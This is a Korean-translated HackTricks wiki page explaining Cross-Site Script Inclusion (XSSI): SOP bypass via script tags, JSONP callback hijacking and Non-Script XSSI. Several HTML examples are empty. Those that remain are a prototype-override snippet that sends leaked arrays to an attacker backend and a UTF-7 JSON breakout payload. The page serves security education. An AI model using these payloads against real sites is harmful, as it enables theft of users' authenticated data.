# XSSI (Cross-Site Script Inclusion) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Basic Information **Cross-Site Script Inclusion (XSSI)**λŠ” HTML의 `script` νƒœκ·Έμ˜ νŠΉμ„±μ—μ„œ λ°œμƒν•˜λŠ” μ·¨μ•½μ μž…λ‹ˆλ‹€. λŒ€λΆ€λΆ„μ˜ λ¦¬μ†ŒμŠ€κ°€ **Same-Origin Policy (SOP)**의 μ μš©μ„ λ°›λŠ” 것과 달리, μŠ€ν¬λ¦½νŠΈλŠ” λ‹€λ₯Έ λ„λ©”μΈμ—μ„œ 포함될 수 μžˆμŠ΅λ‹ˆλ‹€. 이 λ™μž‘μ€ λ‹€λ₯Έ μ„œλ²„μ— ν˜ΈμŠ€νŒ…λœ 라이브러리 및 기타 λ¦¬μ†ŒμŠ€μ˜ μ‚¬μš©μ„ μš©μ΄ν•˜κ²Œ ν•˜κΈ° μœ„ν•œ κ²ƒμ΄μ§€λ§Œ, 잠재적인 λ³΄μ•ˆ μœ„ν—˜λ„ μ΄ˆλž˜ν•©λ‹ˆλ‹€. ### **XSSI**의 μ£Όμš” νŠΉμ§•: - **SOP 우회**: μŠ€ν¬λ¦½νŠΈλŠ” **Same-Origin Policy**의 μ μš©μ„ 받지 μ•Šμ•„ 도메인 간에 포함될 수 μžˆμŠ΅λ‹ˆλ‹€. - **데이터 λ…ΈμΆœ**: κ³΅κ²©μžλŠ” 이 λ™μž‘μ„ μ΄μš©ν•΄ `script` νƒœκ·Έλ₯Ό 톡해 λ‘œλ“œλœ 데이터λ₯Ό 읽을 수 μžˆμŠ΅λ‹ˆλ‹€. - **동적 JavaScript/JSONP에 λ―ΈμΉ˜λŠ” 영ν–₯**: **XSSI**λŠ” 동적 JavaScript λ˜λŠ” **JSON with Padding (JSONP)**와 특히 관련이 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŸ¬ν•œ κΈ°μˆ μ€ μ’…μ’… 인증을 μœ„ν•΄ "ambient-authority" 정보(예: μΏ ν‚€)λ₯Ό μ‚¬μš©ν•©λ‹ˆλ‹€. λ‹€λ₯Έ ν˜ΈμŠ€νŠΈμ— 슀크립트 μš”μ²­μ΄ μ΄λ£¨μ–΄μ§ˆ λ•Œ, μ΄λŸ¬ν•œ 자격 증λͺ…(예: μΏ ν‚€)이 μžλ™μœΌλ‘œ μš”μ²­μ— ν¬ν•¨λ©λ‹ˆλ‹€. - **인증 토큰 유좜**: κ³΅κ²©μžκ°€ μ‚¬μš©μžμ˜ λΈŒλΌμš°μ €λ₯Ό 속여 μžμ‹ μ΄ μ œμ–΄ν•˜λŠ” μ„œλ²„μ—μ„œ 슀크립트λ₯Ό μš”μ²­ν•˜κ²Œ λ§Œλ“€ 수 μžˆλ‹€λ©΄, μ΄λŸ¬ν•œ μš”μ²­μ— ν¬ν•¨λœ λ―Όκ°ν•œ 정보에 μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€. ### Types 1. **정적 JavaScript** - XSSI의 전톡적인 ν˜•νƒœλ₯Ό λ‚˜νƒ€λƒ…λ‹ˆλ‹€. 2. **인증이 μžˆλŠ” 정적 JavaScript** - 이 μœ ν˜•μ€ 접근을 μœ„ν•΄ 인증이 ν•„μš”ν•˜λ‹€λŠ” μ μ—μ„œ λ‹€λ¦…λ‹ˆλ‹€. 3. **동적 JavaScript** - λ™μ μœΌλ‘œ μ½˜ν…μΈ λ₯Ό μƒμ„±ν•˜λŠ” JavaScriptλ₯Ό ν¬ν•¨ν•©λ‹ˆλ‹€. 4. **λΉ„ JavaScript** - JavaScript와 μ§μ ‘μ μœΌλ‘œ κ΄€λ ¨λ˜μ§€ μ•Šμ€ 취약점을 λ‚˜νƒ€λƒ…λ‹ˆλ‹€. **λ‹€μŒ μ •λ³΄λŠ” [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)의 μš”μ•½μž…λ‹ˆλ‹€. μΆ”κ°€ μ„ΈλΆ€μ •λ³΄λŠ” ν•΄λ‹Ή 링크λ₯Ό ν™•μΈν•˜μ„Έμš”.** ### Regular XSSI 이 μ ‘κ·Ό λ°©μ‹μ—μ„œλŠ” 개인 정보가 μ „ μ„Έκ³„μ—μ„œ μ ‘κ·Ό κ°€λŠ₯ν•œ JavaScript νŒŒμΌμ— ν¬ν•¨λ©λ‹ˆλ‹€. κ³΅κ²©μžλŠ” 파일 읽기, ν‚€μ›Œλ“œ 검색 λ˜λŠ” μ •κ·œ ν‘œν˜„μ‹κ³Ό 같은 방법을 μ‚¬μš©ν•˜μ—¬ μ΄λŸ¬ν•œ νŒŒμΌμ„ 식별할 수 μžˆμŠ΅λ‹ˆλ‹€. μœ„μΉ˜λ₯Ό 찾은 ν›„, 개인 정보가 ν¬ν•¨λœ μŠ€ν¬λ¦½νŠΈλŠ” μ•…μ˜μ μΈ μ½˜ν…μΈ μ— ν¬ν•¨λ˜μ–΄ λ―Όκ°ν•œ 데이터에 λŒ€ν•œ 무단 접근을 ν—ˆμš©ν•©λ‹ˆλ‹€. μ•„λž˜μ— μ˜ˆμ‹œμ μΈ 곡격 기법이 λ‚˜μ™€ μžˆμŠ΅λ‹ˆλ‹€: ```html ``` ### Dynamic-JavaScript-based-XSSI and Authenticated-JavaScript-XSSI μ΄λŸ¬ν•œ μœ ν˜•μ˜ XSSI 곡격은 μ‚¬μš©μžμ˜ μš”μ²­μ— 따라 κΈ°λ°€ 정보가 λ™μ μœΌλ‘œ μŠ€ν¬λ¦½νŠΈμ— μΆ”κ°€λ˜λŠ” 것을 ν¬ν•¨ν•©λ‹ˆλ‹€. μΏ ν‚€κ°€ μžˆλŠ” μš”μ²­κ³Ό μ—†λŠ” μš”μ²­μ„ 보내고 응닡을 λΉ„κ΅ν•˜μ—¬ 탐지할 수 μžˆμŠ΅λ‹ˆλ‹€. 정보가 λ‹€λ₯΄λ©΄ κΈ°λ°€ 정보가 μ‘΄μž¬ν•  수 μžˆμŒμ„ λ‚˜νƒ€λ‚Ό 수 μžˆμŠ΅λ‹ˆλ‹€. 이 ν”„λ‘œμ„ΈμŠ€λŠ” [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp ν™•μž₯κ³Ό 같은 도ꡬλ₯Ό μ‚¬μš©ν•˜μ—¬ μžλ™ν™”ν•  수 μžˆμŠ΅λ‹ˆλ‹€. κΈ°λ°€ 데이터가 μ „μ—­ λ³€μˆ˜μ— μ €μž₯λ˜μ–΄ μžˆλŠ” 경우, Regular XSSIμ—μ„œ μ‚¬μš©λ˜λŠ” μœ μ‚¬ν•œ 방법을 μ‚¬μš©ν•˜μ—¬ μ•…μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ κΈ°λ°€ 데이터가 JSONP 응닡에 ν¬ν•¨λœ 경우, κ³΅κ²©μžλŠ” 콜백 ν•¨μˆ˜λ₯Ό νƒˆμ·¨ν•˜μ—¬ 정보λ₯Ό 검색할 수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” μ „μ—­ 객체λ₯Ό μ‘°μž‘ν•˜κ±°λ‚˜ JSONP 응닡에 μ˜ν•΄ 싀행될 ν•¨μˆ˜λ₯Ό μ„€μ •ν•˜μ—¬ μˆ˜ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€. ```html ``` ```html ``` μ „μ—­ λ„€μž„μŠ€νŽ˜μ΄μŠ€μ— μ‘΄μž¬ν•˜μ§€ μ•ŠλŠ” λ³€μˆ˜μ˜ 경우, *ν”„λ‘œν† νƒ€μž… λ³€μ‘°*κ°€ λ•Œλ•Œλ‘œ μ•…μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€. 이 κΈ°μˆ μ€ 호좜된 속성을 μ°ΎκΈ° μœ„ν•΄ ν”„λ‘œν† νƒ€μž… 체인을 νƒμƒ‰ν•˜λŠ” μ½”λ“œ 해석을 ν¬ν•¨ν•˜λŠ” JavaScript의 섀계λ₯Ό ν™œμš©ν•©λ‹ˆλ‹€. `Array`의 `slice`와 같은 νŠΉμ • ν•¨μˆ˜λ₯Ό μž¬μ •μ˜ν•¨μœΌλ‘œμ¨, κ³΅κ²©μžλŠ” λΉ„μ „μ—­ λ³€μˆ˜λ₯Ό μ ‘κ·Όν•˜κ³  λˆ„μΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€: ```javascript Array.prototype.slice = function(){ // leaks ["secret1", "secret2", "secret3"] sendToAttackerBackend(this); }; ``` 좔가적인 곡격 벑터에 λŒ€ν•œ μžμ„Έν•œ λ‚΄μš©μ€ λ³΄μ•ˆ 연ꡬ원 [Sebastian Lekies](https://twitter.com/slekies)의 μž‘μ—…μ—μ„œ 확인할 수 있으며, κ·ΈλŠ” [벑터](http://sebastian-lekies.de/leak/) λͺ©λ‘μ„ μœ μ§€ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€. ### Non-Script-XSSI Takeshi Terada의 μ—°κ΅¬λŠ” Non-Script 파일, 예λ₯Ό λ“€μ–΄ CSVκ°€ `script` νƒœκ·Έμ˜ μ†ŒμŠ€λ‘œ ν¬ν•¨λ˜μ–΄ ꡐ차 좜처둜 μœ μΆœλ˜λŠ” 또 λ‹€λ₯Έ ν˜•νƒœμ˜ XSSIλ₯Ό μ†Œκ°œν•©λ‹ˆλ‹€. Jeremiah Grossman의 2006λ…„ 곡격으둜 전체 Google μ£Όμ†Œλ‘μ„ 읽고 Joe Walker의 2007λ…„ JSON 데이터 유좜과 같은 XSSI의 역사적 μ‚¬λ‘€λŠ” μ΄λŸ¬ν•œ μœ„ν˜‘μ˜ 심각성을 κ°•μ‘°ν•©λ‹ˆλ‹€. λ˜ν•œ, Gareth HeyesλŠ” νŠΉμ • λΈŒλΌμš°μ €μ—μ„œ 효과적인 JSON ν˜•μ‹μ„ νƒˆμΆœν•˜κ³  슀크립트λ₯Ό μ‹€ν–‰ν•˜κΈ° μœ„ν•΄ UTF-7둜 μΈμ½”λ”©λœ JSON을 ν¬ν•¨ν•˜λŠ” 곡격 λ³€ν˜•μ„ μ„€λͺ…ν•©λ‹ˆλ‹€. ```javascript [{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}] ``` ```html ``` {% hint style="success" %} AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§€μ›ν•˜κΈ° * [**ꡬ독 κ³„νš**](https://github.com/sponsors/carlospolop) ν™•μΈν•˜κΈ°! * **πŸ’¬ [**λ””μŠ€μ½”λ“œ κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λ˜λŠ” [**ν…”λ ˆκ·Έλž¨ κ·Έλ£Ή**](https://t.me/peass)에 μ°Έμ—¬ν•˜κ±°λ‚˜ **νŠΈμœ„ν„°** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νŒ”λ‘œμš°ν•˜μ„Έμš”.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉƒν—ˆλΈŒ 리포지토리에 PR을 μ œμΆœν•˜μ—¬ ν•΄ν‚Ή νŠΈλ¦­μ„ κ³΅μœ ν•˜μ„Έμš”.**
{% endhint %}